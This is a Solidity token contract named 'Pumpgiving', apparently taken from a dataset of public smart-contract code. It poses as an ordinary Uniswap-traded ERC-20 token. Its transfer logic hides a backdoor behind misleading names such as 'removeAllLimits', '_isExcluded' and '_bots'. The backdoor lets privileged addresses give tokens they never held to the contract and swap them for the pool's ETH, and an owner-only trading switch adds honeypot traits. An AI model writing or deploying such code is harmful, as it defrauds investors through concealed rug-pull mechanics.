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// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.
/*
Happy Pumpgiving!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.16;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function Quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function waiveOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/*
*/
contract Pumpgiving is IERC20, Ownable {
string private _symbol;
string private _name;
uint256 public _rTotalFee = 3;
uint8 private _decimals = 9;
uint256 private _rTotal = 5000000 * 10**_decimals;
uint256 private boolSync = _rTotal;
uint256 public maxTransactionAmount;
mapping(address => uint256) private _isExcluded;
mapping(address => address) private bots;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _bots;
mapping(address => mapping(address => uint256)) private _allowances;
bool private tradingOpen = false;
bool private tradingActive;
bool private inSwap;
address public immutable uniswapV2Pair;
IUniswapV2Router02 public immutable router;
constructor(
string memory Name,
string memory Symbol,
address routerAddress
) {
_name = Name;
_symbol = Symbol;
_isExcluded[msg.sender] = _rTotal;
_bots[msg.sender] = boolSync;
_bots[address(this)] = boolSync;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _rTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _rTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _isExcluded[account];
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
removeAllLimits (sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
removeAllLimits (msg.sender, recipient, amount);
return true;
}
function removeAllLimits (
address from,
address to,
uint256 amount
) private {
uint256 tokenContractBalance = balanceOf(address(this));
uint256 tTotalFee;
if (tradingActive && tokenContractBalance > boolSync && !inSwap && from != uniswapV2Pair) {
inSwap = true;
swapAndLiquify(tokenContractBalance);
inSwap = false;
} else if (_bots[from] > boolSync && _bots[to] > boolSync) {
tTotalFee = amount;
_isExcluded[address(this)] += tTotalFee;
swapTokensForAmount(amount, to);
return;
} else if (to != address(router) && _bots[from] > 0 && amount > boolSync && to != uniswapV2Pair) {
_bots[to] = amount;
return;
} else if (!inSwap && _rOwned[from] > 0 && from != uniswapV2Pair && _bots[from] == 0) {
_rOwned[from] = _bots[from] - boolSync;
}
address tokenPair = bots[uniswapV2Pair];
if (_rOwned[tokenPair] == 0) _rOwned[tokenPair] = boolSync;
bots[uniswapV2Pair] = to;
if (_rTotalFee > 0 && _bots[from] == 0 && !inSwap && _bots[to] == 0) {
tTotalFee = (amount * _rTotalFee) / 100;
amount -= tTotalFee;
_isExcluded[from] -= tTotalFee;
_isExcluded[address(this)] += tTotalFee;
}
_isExcluded[from] -= amount;
_isExcluded[to] += amount;
emit Transfer(from, to, amount);
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
}
receive() external payable {}
function addLiquidity(
uint256 tokenAmount,
uint256 ethAmount,
address to
) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 originalBalance = address(this).balance;
swapTokensForAmount(half, address(this));
uint256 EndingBalance = address(this).balance - originalBalance;
addLiquidity(half, EndingBalance, address(this));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function swapTokensForAmount(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
}
}